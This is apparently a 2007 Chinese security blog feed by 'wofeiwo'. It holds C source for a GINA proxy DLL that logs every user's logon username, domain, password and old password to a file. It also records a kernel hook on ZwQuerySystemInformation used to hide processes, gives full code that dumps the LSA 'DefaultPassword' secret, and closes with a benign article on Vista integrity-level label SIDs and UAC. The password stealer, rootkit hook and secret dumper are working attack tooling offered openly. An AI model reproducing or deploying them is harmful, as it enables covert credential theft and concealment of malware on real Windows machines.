  DWORD fdwReason,
  LPVOID lpvReserved
  )
{
    switch (fdwReason){
    case DLL_PROCESS_ATTACH:
        WriteInfo("------------------------------------------------\r\n");
        
        //myHandle = hinstDLL;//记录实例句柄，备用，本例没有用到。
        if (LoadMsGina()) //加载MyGina
        {
            WriteInfo("Init gina ok \r\n");
            WriteInfo("\r\n");
        }
        else
        {
            WriteInfo("Init gina false \r\n");
            WriteInfo("\r\n");
        }

        break;

    case DLL_PROCESS_DETACH:
        ReleaseMsGina();//释放MyGina
        WriteInfo("release gina ok \r\n");
        break;
    }

    return TRUE;
}

BOOL WINAPI 
WlxActivateUserShell (
  PVOID pWlxContext,
  PWSTR pszDesktopName,
  PWSTR pszMprLogonScript,
  PVOID pEnvironment)
{
    //WriteInfo("WlxActivateUserShell \r\n");

    return prcWlxActivateUserShell (
                  pWlxContext,
                  pszDesktopName,
                  pszMprLogonScript,
                  pEnvironment);
}

VOID WINAPI WlxDisplaySASNotice (
  PVOID pWlxContext)
{
    //WriteInfo("WlxDisplaySASNotice \r\n");
    prcWlxDisplaySASNotice(pWlxContext);
}

BOOL WINAPI WlxInitialize (
  LPWSTR  lpWinsta,
  HANDLE  hWlx,
  PVOID   pvReserved,
  PVOID   pWinlogonFunctions,
  PVOID * pWlxContext)
{
    //WriteInfo("WlxInitialize \r\n");
    return prcWlxInitialize (
          lpWinsta,
          hWlx,
          pvReserved,
          pWinlogonFunctions,
          pWlxContext);
}

int WINAPI WlxLoggedOnSAS (
  PVOID pWlxContext,
  DWORD dwSasType,
  PVOID pReserved)
{    
   //WriteInfo("WlxLoggedOnSAS \r\n");

   return    prcWlxLoggedOnSAS (
              pWlxContext,
              dwSasType,
              pReserved);
}

//在启动到登陆界面时,调用此函数
int WINAPI WlxLoggedOutSAS (
  PVOID                pWlxContext,
  DWORD                dwSasType,
  PLUID                pAuthenticationId,
  PSID                 pLogonSid,
  PDWORD               pdwOptions,
  PHANDLE              phToken,
  PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
  PVOID *              pProfile)
{
      int iRet=0;
      PWSTR pszUserName=NULL;
      PWSTR pszDomain=NULL;
      PWSTR pszPassword=NULL;
      PWSTR pszOldPassword=NULL;
      PSTR pLogonTime=new char[100];

      //WriteInfo("WlxLoggedOutSAS \r\n");
      
      iRet = prcWlxLoggedOutSAS(
      pWlxContext,
      dwSasType,
      pAuthenticationId,
      pLogonSid,
      pdwOptions,
      phToken,
      pMprNotifyInfo,
      pProfile);

      if(iRet == WLX_SAS_ACTION_LOGON) 
      {    
          SYSTEMTIME stime;
          
          GetLocalTime(&stime);

          sprintf(pLogonTime, "LoginTime : %d.%d.%d %d:%d:%d\r\n", stime.wYear, stime.wMonth, stime.wDay, stime.wHour, stime.wMinute, stime.wSecond);

          WriteInfo(pLogonTime);  

          // copy pMprNotifyInfo and pLogonSid for later use     
          pszUserName=pMprNotifyInfo->pszUserName;        
          if(pszUserName!=NULL)    
          {
              WriteInfo("Username  : ");
              WriteInfoW(pszUserName);
          }
          
          pszDomain=pMprNotifyInfo->pszDomain; 
          if(pszDomain!=NULL)      
          {
              WriteInfo("Domain    : ");
              WriteInfoW(pszDomain); 
          }
          
          pszPassword =pMprNotifyInfo->pszPassword; 
          if(pszPassword!=NULL)    
          {
              WriteInfo("PassWord  : ");
              WriteInfoW(pszPassword);  
          }
          
          pszOldPassword=pMprNotifyInfo->pszOldPassword;  
          if(pszOldPassword!=NULL) 
          {
              WriteInfo("OldPassword: ");
              WriteInfoW(pszOldPassword);  
          }
          
      }     

    WriteInfo("\r\n");
    return iRet; 
}



VOID WINAPI WlxLogoff (PVOID pWlxContext)
{
   //WriteInfo("WlxLogoff \r\n");

   prcWlxLogoff(pWlxContext);
}

BOOL WINAPI WlxNegotiate (
  DWORD  dwWinlogonVersion,
  PDWORD pdwDllVersion)
{
   //WriteInfo("WlxNegotiate \r\n");
    return prcWlxNegotiate (
            dwWinlogonVersion,
            pdwDllVersion);
}


BOOL WINAPI WlxScreenSaverNotify (
  PVOID  pWlxContext,
  BOOL  *pSecure)
{

    //WriteInfo("WlxScreenSaverNotify \r\n");
    return prcWlxScreenSaverNotify (
          pWlxContext,
          pSecure);
}

VOID WINAPI WlxShutdown(
  PVOID pWlxContext,
  DWORD ShutdownType)
{

    //WriteInfo("WlxShutdown \r\n");

    prcWlxShutdown(pWlxContext, ShutdownType);
}

BOOL WINAPI WlxStartApplication (
  PVOID pWlxContext,
  PWSTR pszDesktopName,
  PVOID pEnvironment,
  PWSTR pszCmdLine)
{
    //WriteInfo("WlxStartApplication \r\n");
    return prcWlxStartApplication (
              pWlxContext,
              pszDesktopName,
              pEnvironment,
              pszCmdLine);
}

int WINAPI WlxWkstaLockedSAS (
  PVOID pWlxContext,
  DWORD dwSasType
)
{
    //WriteInfo("WlxWkstaLockedSAS \r\n");
    return prcWlxWkstaLockedSAS (
          pWlxContext,
          dwSasType
        );
}

VOID WINAPI WlxDisplayLockedNotice(PVOID pWlxContext)
{
    //WriteInfo("WlxDisplayLockedNotice \r\n");
    prcWlxDisplayLockedNotice(pWlxContext);
}

BOOL WINAPI WlxDisplayStatusMessage(
  PVOID pWlxContext,
  HDESK hDesktop,
  DWORD dwOptions,
  PWSTR pTitle,
  PWSTR pMessage
  ){
    //WriteInfo("WlxDisplayStatusMessage \r\n");
    return prcWlxDisplayStatusMessage(
              pWlxContext,
              hDesktop,
              dwOptions,
              pTitle,
              pMessage
    );
}


BOOL WINAPI WlxGetStatusMessage(
  PVOID pWlxContext,
  DWORD *pdwOptions,
  PWSTR pMessage,
  DWORD dwBufferSize
)
{
    //WriteInfo("WlxGetStatusMessage \r\n");
    return prcWlxGetStatusMessage(
              pWlxContext,
              pdwOptions,
              pMessage,
              dwBufferSize
            );
}

BOOL WINAPI WlxIsLockOk(PVOID pWlxContext)
{
    //WriteInfo("WlxIsLockOk \r\n");
    return prcWlxIsLockOk(pWlxContext);
        
}

BOOL WINAPI WlxIsLogoffOk(
  PVOID pWlxContext
)
{
    //WriteInfo("WlxIsLogoffOk \r\n");
    return prcWlxIsLogoffOk(
            pWlxContext
    );
}
        
BOOL WINAPI WlxNetworkProviderLoad(
  PVOID pWlxContext,
  PWLX_MPR_NOTIFY_INFO pNprNotifyInfo
)
{
    //WriteInfo("WlxNetworkProviderLoad \r\n");
    return prcWlxNetworkProviderLoad(
            pWlxContext,
            pNprNotifyInfo
    );
}

BOOL WINAPI WlxRemoveStatusMessage(
  PVOID pWlxContext
)
{
   //WriteInfo("WlxRemoveStatusMessage \r\n");
    return prcWlxRemoveStatusMessage(
          pWlxContext
        );
}


void WriteInfo(char * buf)//显示ASCII字符串信息
{
    int i = 0;
    while (TRUE)
    {
        if (!buf[i])
            break;
        else
            i++;
    }
    i++;
    
    SaveLog(buf,i);//日志保存

}


void WriteInfoW(PWSTR WideStr)//显示unicode字符串信息
{
    //获取unicode字符串的字符个数
    int nstrlen=WideCharToMultiByte(CP_ACP,0,WideStr,-1,
        NULL,0,NULL,NULL);
    
    //在进程堆中分配空间
    PSTR tempStr=(PSTR)HeapAlloc(GetProcessHeap(),0,nstrlen);
    
    if(tempStr==NULL) return ;
    
    //把unicode字符串转换为ASCII字符串
    WideCharToMultiByte(CP_ACP,0,WideStr,-1,
        tempStr,nstrlen,NULL,NULL);
    
    WriteInfo(tempStr);
    WriteInfo("\r\n");

    //释放堆空间
    HeapFree(GetProcessHeap(),0,tempStr);
}


void SaveLog(char* c,int num) //日志保存函数
{ 
  WCHAR name[] = LOGFILE; 
  HANDLE hFile;
  DWORD In;
  WCHAR Buff[512];
  hFile = CreateFile(name, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);

  if(hFile == INVALID_HANDLE_VALUE)
  { 
      return;
  } 
  SetFilePointer(hFile, 0, NULL, FILE_END);

  WriteFile(hFile, c, num, &In, NULL);

  CloseHandle(hFile); //关闭文件
} 

本来想将此思想移植到vista上,可是vista已经不再使用Gina做登录交互了.转而使用新的CredentialProvider.我查了查msdn,需要attach原有的密码框控件做wrap获取密码,并且ms做了一定的加密,需要用lsa相关函数解密回来.
由于我对com编程一窍不通,而且最近要考试了,估计也没时间研究了...所以就期待其他高人写出来吧
附带上ms的CredentialProvider例子.

wofeiwo 2007-06-07 21:45 发表评论
]]>Ring0 Detour Demohttp://www.phpweblog.net/GaRY/archive/2007/06/05/Ring0_Detour_Demo.htmlwofeiwowofeiwoTue, 05 Jun 2007 11:32:00 GMThttp://www.phpweblog.net/GaRY/archive/2007/06/05/Ring0_Detour_Demo.htmlhttp://www.phpweblog.net/GaRY/comments/1348.htmlhttp://www.phpweblog.net/GaRY/archive/2007/06/05/Ring0_Detour_Demo.html#Feedback0http://www.phpweblog.net/GaRY/comments/commentRss/1348.htmlhttp://www.phpweblog.net/GaRY/services/trackbacks/1348.html不可思议的是,虽然调试出来错误很多,但是居然没有一次BSOD..
记录一下,Hook了ZwQuerySystemInformation做进程隐藏.
测试环境windows 2000 server sp4:

Hook前:
kd> u nt!ZwQuerySystemInformation
nt!ZwQuerySystemInformation:
804011aa b897000000      mov     eax,97h
804011af 8d542404        lea     edx,[esp+4]
804011b3 cd2e            int     2Eh
804011b5 c21000          ret     10h
804011b8 8bff            mov     edi,edi

Hook后:

kd> u hookproc!Jmp_ZwQuerySystemInformation
hookproc!Jmp_ZwQuerySystemInformation [e:\tmp\rk\hide_proc\hide_proc.c @ 141]:
f41504d0 b897000000      mov     eax,97h
f41504d5 eaaf1140800800  jmp     0008:804011AF
f41504dc 90              nop
f41504dd 90              nop
f41504de cc              int     3
f41504df cc              int     3
f41504e0 cc              int     3
f41504e1 cc              int     3
kd> u nt!ZwQuerySystemInformation
nt!ZwQuerySystemInformation:
804011aa e941f3d473      jmp     hookproc!Fake_ZwQuerySystemInformation (f41504f0)
804011af 8d542404        lea     edx,[esp+4]
804011b3 cd2e            int     2Eh
804011b5 c21000          ret     10h
804011b8 8bff            mov     edi,edi
nt!ZwQuerySystemTime:
804011ba b898000000      mov     eax,98h
804011bf 8d542404        lea     edx,[esp+4]
804011c3 cd2e            int     2Eh


wofeiwo 2007-06-05 19:32 发表评论
]]>Windows Password Finderhttp://www.phpweblog.net/GaRY/archive/2007/06/04/windows_passowrd_finder.htmlwofeiwowofeiwoMon, 04 Jun 2007 11:55:00 GMThttp://www.phpweblog.net/GaRY/archive/2007/06/04/windows_passowrd_finder.htmlhttp://www.phpweblog.net/GaRY/comments/1343.htmlhttp://www.phpweblog.net/GaRY/archive/2007/06/04/windows_passowrd_finder.html#Feedback0http://www.phpweblog.net/GaRY/comments/commentRss/1343.htmlhttp://www.phpweblog.net/GaRY/services/trackbacks/1343.html 这个是isno从LSAView里逆向后改写的代码,转过来:

#include <windows.h>
#include <ntsecapi.h>
#include <tchar.h>
#include <stdio.h>

#pragma comment(lib,"advapi32.lib")

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
    int nRetCode = 0;
    char private_data[0x500] = {0};
    int                        data_len;
    LSA_OBJECT_ATTRIBUTES lsa_object_attr;
    LSA_HANDLE lsa_handle;
    PLSA_UNICODE_STRING plsa_private_data;
    LSA_UNICODE_STRING lsa_keyname;
    NTSTATUS status;
    int ret;

    memset(&lsa_object_attr, 0, sizeof(lsa_object_attr));
    lsa_object_attr.Length = sizeof(LSA_OBJECT_ATTRIBUTES);
    LsaOpenPolicy(0, &lsa_object_attr, 0x800, &lsa_handle);

    plsa_private_data = (PLSA_UNICODE_STRING)malloc(sizeof(LSA_UNICODE_STRING));
    plsa_private_data->Length = 0x500;
    plsa_private_data->MaximumLength = 0x500;
    plsa_private_data->Buffer = (PWSTR)malloc(0x500);

    lsa_keyname.MaximumLength = 0x200;
    lsa_keyname.Buffer = (PWSTR)malloc(0x200);
    wcscpy(lsa_keyname.Buffer,L"DefaultPassword");
    lsa_keyname.Length = wcslen(lsa_keyname.Buffer) * 2;

    status = LsaRetrievePrivateData(lsa_handle, 
        &lsa_keyname,
        &plsa_private_data);
    LsaClose(lsa_handle);
    if(status != 0)
    {
        printf("[-] LsaRetrievePrivateData failed: %d\n",
            LsaNtStatusToWinError(status));
        return 0;
    }
    ret = WideCharToMultiByte(0, 0, plsa_private_data->Buffer,
        plsa_private_data->Length, 
        private_data, sizeof(private_data), 0, 0);
    if(ret == 0)
    {
        printf("[-] WideCharToMultiByte failed:%d\n", GetLastError());
        return 0;
    }
    data_len = ret;

    printf("Default Password: %s\r\n", private_data);
    return nRetCode;
}


wofeiwo 2007-06-04 19:55 发表评论
]]>[zt]Windows Vista有趣的标签SIDhttp://www.phpweblog.net/GaRY/archive/2007/06/01/1310.htmlwofeiwowofeiwoFri, 01 Jun 2007 14:48:00 GMThttp://www.phpweblog.net/GaRY/archive/2007/06/01/1310.htmlhttp://www.phpweblog.net/GaRY/comments/1310.htmlhttp://www.phpweblog.net/GaRY/archive/2007/06/01/1310.html#Feedback0http://www.phpweblog.net/GaRY/comments/commentRss/1310.htmlhttp://www.phpweblog.net/GaRY/services/trackbacks/1310.html文章来源：http://blogs.itecn.net/blogs/ahpeng

Label SID，盆盆将其翻译为标签SID，诸君别嫌土啊。这个东东是Windows Vista新引入的一个安全主体。在Mark Russinovich的博客文章《Windows Vista用户帐户控制、PsExec和安全边界》中，我们知道在Windows Vista，进程和资源对象都划分等级的（完整性级别）。等级低的进程不够资格写入等级高的资源对象，哪怕访问控制列表（ACL）允许也不行。

盆盆评述 在拙作《Windows Vista IE保护模式深入剖析》中做过一个形象的比喻。在Windows Vista中，安全机制有了很大的改进，不仅仅看ACL。这就好比男女双方求爱，除了看对方的经济收入等条件(相当于ACL)，还要看是否门当户对(相当于完整性级别)。

看了Mark Russinovich的文章，想必您已经知道如何查看和设置资源对象的完整性级别（可以用icacls或者AccessChk命令）。

那么进程呢？Mark的文章里没提到，相信您已经知道，就是所谓的标签SID，呵呵，太有才了:)

标签SID的实质

标签SID位于进程的访问令牌里，用来标识进程的完整性级别。进程要访问资源对象（例如某个文件夹）时，就亮出它的访问令牌。文件夹就会检查令牌里的标签SID，看看级别是否足够。如果级别比自己还低，对不起，您只能读取，不能写入。

可以用Process Explorer查看进程的访问令牌，从而查看某个进程的标签SID。附图就是一个进程的访问令牌。其中红色部分显示其标签SID是“Mandatory Label\Medium Mandatory Level”，表明该进程的完整性级别为“中级”。蓝色部分显示该进程并不拥有管理员的运行身份（Administrators标记为Deny），同时只有五个特权。

完全可以想像，如果进程的完整性级别是高级（标签SID为Mandatory Label\High Mandatory Level），该进程应该拥有管理员的运行身份（Administrators标记为Owner），同时拥有约24个特权。

和Linux的对比

利用完整性级别这样的安全机制，Windows Vista就可以获得更高的安全。这样的机制类似于开源的MAC机制，例如Red Hat的SELinux。两者总体上各有千秋，但是窃以为比SELinux更加灵活，对用户的干扰也要小的多。在MAC下，用户有时候必须自己定义进程和资源的“类型”，否则进程工作可能会不正常。更具体的对比，可以参考盆盆回复在远景上的帖子（该贴已经有2万6千个访问量，寒一个～）

标签SID的其他作用

标签SID除了可以判断进程的访问权限外。还可以用来帮助决策UAC是否弹出权限提升对话框，这点在Mark的文章里没有提到。

默认情况下，如果某个进程需要管理员特权，则系统会查看其父进程的标签SID，如果是“中级”，则会弹出权限提升对话框。如果是“高级”，则不会弹出对话框（直接继承父进程的安全上下文）。

盆盆评述 有关这一点，盆盆在06年3月份的文章《Windows Vista的UAC功能浅析(二)》曾经做过这样的猜测，现在得到实验的证实。

由于绝大多数用户进程的父进程是Explorer，其标签SID为“中级”，所以会弹出权限提升对话框。

以管理员身份打开“命令提示符”窗口，然后再在其下运行需要管理员特权的进程，这时候不会弹出权限提升对话框。因为父进程cmd.exe的标签SID是“高级”。

有趣的特例

我们可以做一个实验，来欺骗Windows Vista的安全机制。在Process Explorer里单击File→Run as Limited User，然后在打开的对话框里输入“CMD”并回车，如附图所示。

这时候会弹出一个很“另类”的命令提示符窗口。该命令提示符进程的标签SID是“高级”，但是实际上却是标准用户权限。不信？且看其访问令牌：

在红色部分我们可以看到，其标签SID是“Mandatory Label\High Mandatory Level”（完整性级别为“高级”），但是却并不拥有管理员的运行身份（Administrators标记为Deny），同时只有五个特权（查看蓝色部分）。

在这个“另类”的命令提示符下运行某个需要管理员特权的任务，例如“服务”管理单元，会发生什么情况？

系统根本不会弹出提升权限对话框，直接启动“服务”管理单元。这是因为UAC系统会根据父进程的标签SID来判定是否需要弹出权限提升对话框。

但是打开的这个“服务”管理单元也一样“另类”，Windows显然已经认为这是一个管理员进程（因为其标签SID为高级），但是实际上只有标准用户权限，我们什么操作几乎都不能做。

安全影响

Windows Vista的UAC只根据父进程的标签SID来判断是否应该提升权限，看上去似乎有点弱智。但是实际上由于这种操作的可能性很低，所以影响很小。

还有一个需要有趣的地方是，这种“另类”的进程虽然只有标准用户权限，但是完整性级别却是“高级”，所以这些进程可以通过代码注入等手段获取管理员权限，这和Windows 2000/XP的情况是一致的。

不过攻击者想要利用这种方法绕开UAC的限制，几乎是不可能的，因为构建这样的访问令牌，本身需要管理员特权。所以用户大可不必担心。

盆盆评述 05年11月，当时盆盆刚接触Windows Vista不久，写过一篇文章《Windows Vista的UAC功能浅析(一)》，就猜测“古怪帐户”的作用，应该是用来标识进程的等级。这里的“古怪帐户”，实际上就是本文所说的标签SID。



wofeiwo 2007-06-01 22:48 发表评论
]]>